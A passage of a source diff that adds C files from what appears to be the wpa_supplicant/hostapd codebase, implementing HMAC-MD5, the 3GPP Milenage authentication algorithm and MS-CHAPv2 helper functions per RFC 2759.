* MD5(K XOR opad, MD5(K XOR ipad, text))
|
||||
*
|
||||
* where K is an n byte key
|
||||
* ipad is the byte 0x36 repeated 64 times
|
||||
* opad is the byte 0x5c repeated 64 times
|
||||
* and text is the data being protected */
|
||||
|
||||
/* start out by storing key in ipad */
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
|
||||
/* XOR key with ipad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
|
||||
/* perform inner MD5 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
for (i = 0; i < num_elem; i++) {
|
||||
_addr[i + 1] = addr[i];
|
||||
_len[i + 1] = len[i];
|
||||
}
|
||||
if (md5_vector_non_fips_allow(1 + num_elem, _addr, _len, mac))
|
||||
return -1;
|
||||
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
/* XOR key with opad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
|
||||
/* perform outer MD5 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
_addr[1] = mac;
|
||||
_len[1] = MD5_MAC_LEN;
|
||||
return md5_vector_non_fips_allow(2, _addr, _len, mac);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* hmac_md5_non_fips_allow - HMAC-MD5 over data buffer (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @data: Pointers to the data area
|
||||
* @data_len: Length of the data area
|
||||
* @mac: Buffer for the hash (16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data,
|
||||
size_t data_len, u8 *mac)
|
||||
{
|
||||
return hmac_md5_vector_non_fips_allow(key, key_len, 1, &data,
|
||||
&data_len, mac);
|
||||
}
|
|
@ -0,0 +1,111 @@
|
|||
/*
|
||||
* MD5 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "md5.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
/**
|
||||
* hmac_md5_vector - HMAC-MD5 over data vector (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for the hash (16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
u8 k_pad[64]; /* padding - key XORd with ipad/opad */
|
||||
u8 tk[16];
|
||||
const u8 *_addr[6];
|
||||
size_t i, _len[6];
|
||||
|
||||
if (num_elem > 5) {
|
||||
/*
|
||||
* Fixed limit on the number of fragments to avoid having to
|
||||
* allocate memory (which could fail).
|
||||
*/
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* if key is longer than 64 bytes reset it to key = MD5(key) */
|
||||
if (key_len > 64) {
|
||||
if (md5_vector(1, &key, &key_len, tk))
|
||||
return -1;
|
||||
key = tk;
|
||||
key_len = 16;
|
||||
}
|
||||
|
||||
/* the HMAC_MD5 transform looks like:
|
||||
*
|
||||
* MD5(K XOR opad, MD5(K XOR ipad, text))
|
||||
*
|
||||
* where K is an n byte key
|
||||
* ipad is the byte 0x36 repeated 64 times
|
||||
* opad is the byte 0x5c repeated 64 times
|
||||
* and text is the data being protected */
|
||||
|
||||
/* start out by storing key in ipad */
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
|
||||
/* XOR key with ipad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
|
||||
/* perform inner MD5 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
for (i = 0; i < num_elem; i++) {
|
||||
_addr[i + 1] = addr[i];
|
||||
_len[i + 1] = len[i];
|
||||
}
|
||||
if (md5_vector(1 + num_elem, _addr, _len, mac))
|
||||
return -1;
|
||||
|
||||
os_memset(k_pad, 0, sizeof(k_pad));
|
||||
os_memcpy(k_pad, key, key_len);
|
||||
/* XOR key with opad values */
|
||||
for (i = 0; i < 64; i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
|
||||
/* perform outer MD5 */
|
||||
_addr[0] = k_pad;
|
||||
_len[0] = 64;
|
||||
_addr[1] = mac;
|
||||
_len[1] = MD5_MAC_LEN;
|
||||
return md5_vector(2, _addr, _len, mac);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* hmac_md5 - HMAC-MD5 over data buffer (RFC 2104)
|
||||
* @key: Key for HMAC operations
|
||||
* @key_len: Length of the key in bytes
|
||||
* @data: Pointers to the data area
|
||||
* @data_len: Length of the data area
|
||||
* @mac: Buffer for the hash (16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
|
||||
u8 *mac)
|
||||
{
|
||||
return hmac_md5_vector(key, key_len, 1, &data, &data_len, mac);
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
/*
|
||||
* MD5 hash implementation and interface functions
|
||||
* Copyright (c) 2003-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef MD5_H
|
||||
#define MD5_H
|
||||
|
||||
#define MD5_MAC_LEN 16
|
||||
|
||||
int hmac_md5_vector(const u8 *key, size_t key_len, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac);
|
||||
int hmac_md5(const u8 *key, size_t key_len, const u8 *data, size_t data_len,
|
||||
u8 *mac);
|
||||
#ifdef CONFIG_FIPS
|
||||
int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len,
|
||||
size_t num_elem, const u8 *addr[],
|
||||
const size_t *len, u8 *mac);
|
||||
int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data,
|
||||
size_t data_len, u8 *mac);
|
||||
#else /* CONFIG_FIPS */
|
||||
#define hmac_md5_vector_non_fips_allow hmac_md5_vector
|
||||
#define hmac_md5_non_fips_allow hmac_md5
|
||||
#endif /* CONFIG_FIPS */
|
||||
|
||||
#endif /* MD5_H */
|
|
@ -0,0 +1,29 @@
|
|||
/*
|
||||
* MD5 internal definitions
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef MD5_I_H
|
||||
#define MD5_I_H
|
||||
|
||||
struct MD5Context {
|
||||
u32 buf[4];
|
||||
u32 bits[2];
|
||||
u8 in[64];
|
||||
};
|
||||
|
||||
void MD5Init(struct MD5Context *context);
|
||||
void MD5Update(struct MD5Context *context, unsigned char const *buf,
|
||||
unsigned len);
|
||||
void MD5Final(unsigned char digest[16], struct MD5Context *context);
|
||||
|
||||
#endif /* MD5_I_H */
|
|
@ -0,0 +1,329 @@
|
|||
/*
|
||||
* 3GPP AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208)
|
||||
* Copyright (c) 2006-2007 <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*
|
||||
* This file implements an example authentication algorithm defined for 3GPP
|
||||
* AKA. This can be used to implement a simple HLR/AuC into hlr_auc_gw to allow
|
||||
* EAP-AKA to be tested properly with real USIM cards.
|
||||
*
|
||||
* This implementations assumes that the r1..r5 and c1..c5 constants defined in
|
||||
* TS 35.206 are used, i.e., r1=64, r2=0, r3=32, r4=64, r5=96, c1=00..00,
|
||||
* c2=00..01, c3=00..02, c4=00..04, c5=00..08. The block cipher is assumed to
|
||||
* be AES (Rijndael).
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto/aes_wrap.h"
|
||||
#include "milenage.h"
|
||||
|
||||
|
||||
/**
|
||||
* milenage_f1 - Milenage f1 and f1* algorithms
|
||||
* @opc: OPc = 128-bit value derived from OP and K
|
||||
* @k: K = 128-bit subscriber key
|
||||
* @_rand: RAND = 128-bit random challenge
|
||||
* @sqn: SQN = 48-bit sequence number
|
||||
* @amf: AMF = 16-bit authentication management field
|
||||
* @mac_a: Buffer for MAC-A = 64-bit network authentication code, or %NULL
|
||||
* @mac_s: Buffer for MAC-S = 64-bit resync authentication code, or %NULL
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand,
|
||||
const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s)
|
||||
{
|
||||
u8 tmp1[16], tmp2[16], tmp3[16];
|
||||
int i;
|
||||
|
||||
/* tmp1 = TEMP = E_K(RAND XOR OP_C) */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[i] = _rand[i] ^ opc[i];
|
||||
if (aes_128_encrypt_block(k, tmp1, tmp1))
|
||||
return -1;
|
||||
|
||||
/* tmp2 = IN1 = SQN || AMF || SQN || AMF */
|
||||
os_memcpy(tmp2, sqn, 6);
|
||||
os_memcpy(tmp2 + 6, amf, 2);
|
||||
os_memcpy(tmp2 + 8, tmp2, 8);
|
||||
|
||||
/* OUT1 = E_K(TEMP XOR rot(IN1 XOR OP_C, r1) XOR c1) XOR OP_C */
|
||||
|
||||
/* rotate (tmp2 XOR OP_C) by r1 (= 0x40 = 8 bytes) */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp3[(i + 8) % 16] = tmp2[i] ^ opc[i];
|
||||
/* XOR with TEMP = E_K(RAND XOR OP_C) */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp3[i] ^= tmp1[i];
|
||||
/* XOR with c1 (= ..00, i.e., NOP) */
|
||||
|
||||
/* f1 || f1* = E_K(tmp3) XOR OP_c */
|
||||
if (aes_128_encrypt_block(k, tmp3, tmp1))
|
||||
return -1;
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[i] ^= opc[i];
|
||||
if (mac_a)
|
||||
os_memcpy(mac_a, tmp1, 8); /* f1 */
|
||||
if (mac_s)
|
||||
os_memcpy(mac_s, tmp1 + 8, 8); /* f1* */
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* milenage_f2345 - Milenage f2, f3, f4, f5, f5* algorithms
|
||||
* @opc: OPc = 128-bit value derived from OP and K
|
||||
* @k: K = 128-bit subscriber key
|
||||
* @_rand: RAND = 128-bit random challenge
|
||||
* @res: Buffer for RES = 64-bit signed response (f2), or %NULL
|
||||
* @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL
|
||||
* @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL
|
||||
* @ak: Buffer for AK = 48-bit anonymity key (f5), or %NULL
|
||||
* @akstar: Buffer for AK = 48-bit anonymity key (f5*), or %NULL
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand,
|
||||
u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar)
|
||||
{
|
||||
u8 tmp1[16], tmp2[16], tmp3[16];
|
||||
int i;
|
||||
|
||||
/* tmp2 = TEMP = E_K(RAND XOR OP_C) */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[i] = _rand[i] ^ opc[i];
|
||||
if (aes_128_encrypt_block(k, tmp1, tmp2))
|
||||
return -1;
|
||||
|
||||
/* OUT2 = E_K(rot(TEMP XOR OP_C, r2) XOR c2) XOR OP_C */
|
||||
/* OUT3 = E_K(rot(TEMP XOR OP_C, r3) XOR c3) XOR OP_C */
|
||||
/* OUT4 = E_K(rot(TEMP XOR OP_C, r4) XOR c4) XOR OP_C */
|
||||
/* OUT5 = E_K(rot(TEMP XOR OP_C, r5) XOR c5) XOR OP_C */
|
||||
|
||||
/* f2 and f5 */
|
||||
/* rotate by r2 (= 0, i.e., NOP) */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[i] = tmp2[i] ^ opc[i];
|
||||
tmp1[15] ^= 1; /* XOR c2 (= ..01) */
|
||||
/* f5 || f2 = E_K(tmp1) XOR OP_c */
|
||||
if (aes_128_encrypt_block(k, tmp1, tmp3))
|
||||
return -1;
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp3[i] ^= opc[i];
|
||||
if (res)
|
||||
os_memcpy(res, tmp3 + 8, 8); /* f2 */
|
||||
if (ak)
|
||||
os_memcpy(ak, tmp3, 6); /* f5 */
|
||||
|
||||
/* f3 */
|
||||
if (ck) {
|
||||
/* rotate by r3 = 0x20 = 4 bytes */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[(i + 12) % 16] = tmp2[i] ^ opc[i];
|
||||
tmp1[15] ^= 2; /* XOR c3 (= ..02) */
|
||||
if (aes_128_encrypt_block(k, tmp1, ck))
|
||||
return -1;
|
||||
for (i = 0; i < 16; i++)
|
||||
ck[i] ^= opc[i];
|
||||
}
|
||||
|
||||
/* f4 */
|
||||
if (ik) {
|
||||
/* rotate by r4 = 0x40 = 8 bytes */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[(i + 8) % 16] = tmp2[i] ^ opc[i];
|
||||
tmp1[15] ^= 4; /* XOR c4 (= ..04) */
|
||||
if (aes_128_encrypt_block(k, tmp1, ik))
|
||||
return -1;
|
||||
for (i = 0; i < 16; i++)
|
||||
ik[i] ^= opc[i];
|
||||
}
|
||||
|
||||
/* f5* */
|
||||
if (akstar) {
|
||||
/* rotate by r5 = 0x60 = 12 bytes */
|
||||
for (i = 0; i < 16; i++)
|
||||
tmp1[(i + 4) % 16] = tmp2[i] ^ opc[i];
|
||||
tmp1[15] ^= 8; /* XOR c5 (= ..08) */
|
||||
if (aes_128_encrypt_block(k, tmp1, tmp1))
|
||||
return -1;
|
||||
for (i = 0; i < 6; i++)
|
||||
akstar[i] = tmp1[i] ^ opc[i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* milenage_generate - Generate AKA AUTN,IK,CK,RES
|
||||
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
|
||||
* @amf: AMF = 16-bit authentication management field
|
||||
* @k: K = 128-bit subscriber key
|
||||
* @sqn: SQN = 48-bit sequence number
|
||||
* @_rand: RAND = 128-bit random challenge
|
||||
* @autn: Buffer for AUTN = 128-bit authentication token
|
||||
* @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL
|
||||
* @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL
|
||||
* @res: Buffer for RES = 64-bit signed response (f2), or %NULL
|
||||
* @res_len: Max length for res; set to used length or 0 on failure
|
||||
*/
|
||||
void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k,
|
||||
const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik,
|
||||
u8 *ck, u8 *res, size_t *res_len)
|
||||
{
|
||||
int i;
|
||||
u8 mac_a[8], ak[6];
|
||||
|
||||
if (*res_len < 8) {
|
||||
*res_len = 0;
|
||||
return;
|
||||
}
|
||||
if (milenage_f1(opc, k, _rand, sqn, amf, mac_a, NULL) ||
|
||||
milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL)) {
|
||||
*res_len = 0;
|
||||
return;
|
||||
}
|
||||
*res_len = 8;
|
||||
|
||||
/* AUTN = (SQN ^ AK) || AMF || MAC */
|
||||
for (i = 0; i < 6; i++)
|
||||
autn[i] = sqn[i] ^ ak[i];
|
||||
os_memcpy(autn + 6, amf, 2);
|
||||
os_memcpy(autn + 8, mac_a, 8);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* milenage_auts - Milenage AUTS validation
|
||||
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
|
||||
* @k: K = 128-bit subscriber key
|
||||
* @_rand: RAND = 128-bit random challenge
|
||||
* @auts: AUTS = 112-bit authentication token from client
|
||||
* @sqn: Buffer for SQN = 48-bit sequence number
|
||||
* Returns: 0 = success (sqn filled), -1 on failure
|
||||
*/
|
||||
int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts,
|
||||
u8 *sqn)
|
||||
{
|
||||
u8 amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */
|
||||
u8 ak[6], mac_s[8];
|
||||
int i;
|
||||
|
||||
if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak))
|
||||
return -1;
|
||||
for (i = 0; i < 6; i++)
|
||||
sqn[i] = auts[i] ^ ak[i];
|
||||
if (milenage_f1(opc, k, _rand, sqn, amf, NULL, mac_s) ||
|
||||
memcmp(mac_s, auts + 6, 8) != 0)
|
||||
return -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* gsm_milenage - Generate GSM-Milenage (3GPP TS 55.205) authentication triplet
|
||||
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
|
||||
* @k: K = 128-bit subscriber key
|
||||
* @_rand: RAND = 128-bit random challenge
|
||||
* @sres: Buffer for SRES = 32-bit SRES
|
||||
* @kc: Buffer for Kc = 64-bit Kc
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres, u8 *kc)
|
||||
{
|
||||
u8 res[8], ck[16], ik[16];
|
||||
int i;
|
||||
|
||||
if (milenage_f2345(opc, k, _rand, res, ck, ik, NULL, NULL))
|
||||
return -1;
|
||||
|
||||
for (i = 0; i < 8; i++)
|
||||
kc[i] = ck[i] ^ ck[i + 8] ^ ik[i] ^ ik[i + 8];
|
||||
|
||||
#ifdef GSM_MILENAGE_ALT_SRES
|
||||
os_memcpy(sres, res, 4);
|
||||
#else /* GSM_MILENAGE_ALT_SRES */
|
||||
for (i = 0; i < 4; i++)
|
||||
sres[i] = res[i] ^ res[i + 4];
|
||||
#endif /* GSM_MILENAGE_ALT_SRES */
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* milenage_generate - Generate AKA AUTN,IK,CK,RES
|
||||
* @opc: OPc = 128-bit operator variant algorithm configuration field (encr.)
|
||||
* @k: K = 128-bit subscriber key
|
||||
* @sqn: SQN = 48-bit sequence number
|
||||
* @_rand: RAND = 128-bit random challenge
|
||||
* @autn: AUTN = 128-bit authentication token
|
||||
* @ik: Buffer for IK = 128-bit integrity key (f4), or %NULL
|
||||
* @ck: Buffer for CK = 128-bit confidentiality key (f3), or %NULL
|
||||
* @res: Buffer for RES = 64-bit signed response (f2), or %NULL
|
||||
* @res_len: Variable that will be set to RES length
|
||||
* @auts: 112-bit buffer for AUTS
|
||||
* Returns: 0 on success, -1 on failure, or -2 on synchronization failure
|
||||
*/
|
||||
int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand,
|
||||
const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len,
|
||||
u8 *auts)
|
||||
{
|
||||
int i;
|
||||
u8 mac_a[8], ak[6], rx_sqn[6];
|
||||
const u8 *amf;
|
||||
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: AUTN", autn, 16);
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: RAND", _rand, 16);
|
||||
|
||||
if (milenage_f2345(opc, k, _rand, res, ck, ik, ak, NULL))
|
||||
return -1;
|
||||
|
||||
*res_len = 8;
|
||||
wpa_hexdump_key(MSG_DEBUG, "Milenage: RES", res, *res_len);
|
||||
wpa_hexdump_key(MSG_DEBUG, "Milenage: CK", ck, 16);
|
||||
wpa_hexdump_key(MSG_DEBUG, "Milenage: IK", ik, 16);
|
||||
wpa_hexdump_key(MSG_DEBUG, "Milenage: AK", ak, 6);
|
||||
|
||||
/* AUTN = (SQN ^ AK) || AMF || MAC */
|
||||
for (i = 0; i < 6; i++)
|
||||
rx_sqn[i] = autn[i] ^ ak[i];
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: SQN", rx_sqn, 6);
|
||||
|
||||
if (os_memcmp(rx_sqn, sqn, 6) <= 0) {
|
||||
u8 auts_amf[2] = { 0x00, 0x00 }; /* TS 33.102 v7.0.0, 6.3.3 */
|
||||
if (milenage_f2345(opc, k, _rand, NULL, NULL, NULL, NULL, ak))
|
||||
return -1;
|
||||
wpa_hexdump_key(MSG_DEBUG, "Milenage: AK*", ak, 6);
|
||||
for (i = 0; i < 6; i++)
|
||||
auts[i] = sqn[i] ^ ak[i];
|
||||
if (milenage_f1(opc, k, _rand, sqn, auts_amf, NULL, auts + 6))
|
||||
return -1;
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: AUTS", auts, 14);
|
||||
return -2;
|
||||
}
|
||||
|
||||
amf = autn + 6;
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: AMF", amf, 2);
|
||||
if (milenage_f1(opc, k, _rand, rx_sqn, amf, mac_a, NULL))
|
||||
return -1;
|
||||
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: MAC_A", mac_a, 8);
|
||||
|
||||
if (os_memcmp(mac_a, autn + 8, 8) != 0) {
|
||||
wpa_printf(MSG_DEBUG, "Milenage: MAC mismatch");
|
||||
wpa_hexdump(MSG_DEBUG, "Milenage: Received MAC_A",
|
||||
autn + 8, 8);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,33 @@
|
|||
/*
|
||||
* UMTS AKA - Milenage algorithm (3GPP TS 35.205, .206, .207, .208)
|
||||
* Copyright (c) 2006-2007 <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef MILENAGE_H
|
||||
#define MILENAGE_H
|
||||
|
||||
void milenage_generate(const u8 *opc, const u8 *amf, const u8 *k,
|
||||
const u8 *sqn, const u8 *_rand, u8 *autn, u8 *ik,
|
||||
u8 *ck, u8 *res, size_t *res_len);
|
||||
int milenage_auts(const u8 *opc, const u8 *k, const u8 *_rand, const u8 *auts,
|
||||
u8 *sqn);
|
||||
int gsm_milenage(const u8 *opc, const u8 *k, const u8 *_rand, u8 *sres,
|
||||
u8 *kc);
|
||||
int milenage_check(const u8 *opc, const u8 *k, const u8 *sqn, const u8 *_rand,
|
||||
const u8 *autn, u8 *ik, u8 *ck, u8 *res, size_t *res_len,
|
||||
u8 *auts);
|
||||
int milenage_f1(const u8 *opc, const u8 *k, const u8 *_rand,
|
||||
const u8 *sqn, const u8 *amf, u8 *mac_a, u8 *mac_s);
|
||||
int milenage_f2345(const u8 *opc, const u8 *k, const u8 *_rand,
|
||||
u8 *res, u8 *ck, u8 *ik, u8 *ak, u8 *akstar);
|
||||
|
||||
#endif /* MILENAGE_H */
|
|
@ -0,0 +1,476 @@
|
|||
/*
|
||||
* WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "sha1.h"
|
||||
#include "ms_funcs.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
/**
|
||||
* challenge_hash - ChallengeHash() - RFC 2759, Sect. 8.2
|
||||
* @peer_challenge: 16-octet PeerChallenge (IN)
|
||||
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
|
||||
* @username: 0-to-256-char UserName (IN)
|
||||
* @username_len: Length of username
|
||||
* @challenge: 8-octet Challenge (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
static int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
u8 *challenge)
|
||||
{
|
||||
u8 hash[SHA1_MAC_LEN];
|
||||
const unsigned char *addr[3];
|
||||
size_t len[3];
|
||||
|
||||
addr[0] = peer_challenge;
|
||||
len[0] = 16;
|
||||
addr[1] = auth_challenge;
|
||||
len[1] = 16;
|
||||
addr[2] = username;
|
||||
len[2] = username_len;
|
||||
|
||||
if (sha1_vector(3, addr, len, hash))
|
||||
return -1;
|
||||
os_memcpy(challenge, hash, 8);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* nt_password_hash - NtPasswordHash() - RFC 2759, Sect. 8.3
|
||||
* @password: 0-to-256-unicode-char Password (IN; ASCII)
|
||||
* @password_len: Length of password
|
||||
* @password_hash: 16-octet PasswordHash (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int nt_password_hash(const u8 *password, size_t password_len,
|
||||
u8 *password_hash)
|
||||
{
|
||||
u8 buf[512], *pos;
|
||||
size_t i, len;
|
||||
|
||||
if (password_len > 256)
|
||||
password_len = 256;
|
||||
|
||||
/* Convert password into unicode */
|
||||
for (i = 0; i < password_len; i++) {
|
||||
buf[2 * i] = password[i];
|
||||
buf[2 * i + 1] = 0;
|
||||
}
|
||||
|
||||
len = password_len * 2;
|
||||
pos = buf;
|
||||
return md4_vector(1, (const u8 **) &pos, &len, password_hash);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* hash_nt_password_hash - HashNtPasswordHash() - RFC 2759, Sect. 8.4
|
||||
* @password_hash: 16-octet PasswordHash (IN)
|
||||
* @password_hash_hash: 16-octet PasswordHashHash (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash)
|
||||
{
|
||||
size_t len = 16;
|
||||
return md4_vector(1, &password_hash, &len, password_hash_hash);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* challenge_response - ChallengeResponse() - RFC 2759, Sect. 8.5
|
||||
* @challenge: 8-octet Challenge (IN)
|
||||
* @password_hash: 16-octet PasswordHash (IN)
|
||||
* @response: 24-octet Response (OUT)
|
||||
*/
|
||||
void challenge_response(const u8 *challenge, const u8 *password_hash,
|
||||
u8 *response)
|
||||
{
|
||||
u8 zpwd[7];
|
||||
des_encrypt(challenge, password_hash, response);
|
||||
des_encrypt(challenge, password_hash + 7, response + 8);
|
||||
zpwd[0] = password_hash[14];
|
||||
zpwd[1] = password_hash[15];
|
||||
os_memset(zpwd + 2, 0, 5);
|
||||
des_encrypt(challenge, zpwd, response + 16);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* generate_nt_response - GenerateNTResponse() - RFC 2759, Sect. 8.1
|
||||
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
|
||||
* @peer_challenge: 16-octet PeerChallenge (IN)
|
||||
* @username: 0-to-256-char UserName (IN)
|
||||
* @username_len: Length of username
|
||||
* @password: 0-to-256-unicode-char Password (IN; ASCII)
|
||||
* @password_len: Length of password
|
||||
* @response: 24-octet Response (OUT)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
|
||||
const u8 *username, size_t username_len,
|
||||
const u8 *password, size_t password_len,
|
||||
u8 *response)
|
||||
{
|
||||
u8 challenge[8];
|
||||
u8 password_hash[16];
|
||||
|
||||
challenge_hash(peer_challenge, auth_challenge, username, username_len,
|
||||
challenge);
|
||||
if (nt_password_hash(password, password_len, password_hash))
|
||||
return -1;
|
||||
challenge_response(challenge, password_hash, response);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* generate_nt_response_pwhash - GenerateNTResponse() - RFC 2759, Sect. 8.1
|
||||
* @auth_challenge: 16-octet AuthenticatorChallenge (IN)
|
||||
* @peer_challenge: 16-octet PeerChallenge (IN)
|
||||
* @username: 0-to-256-char UserName (IN)
|
||||
* @username_len: Length of username
|
||||
* @password_hash: 16-octet PasswordHash (IN)
|
||||
* @response: 24-octet Response (OUT)
|
||||
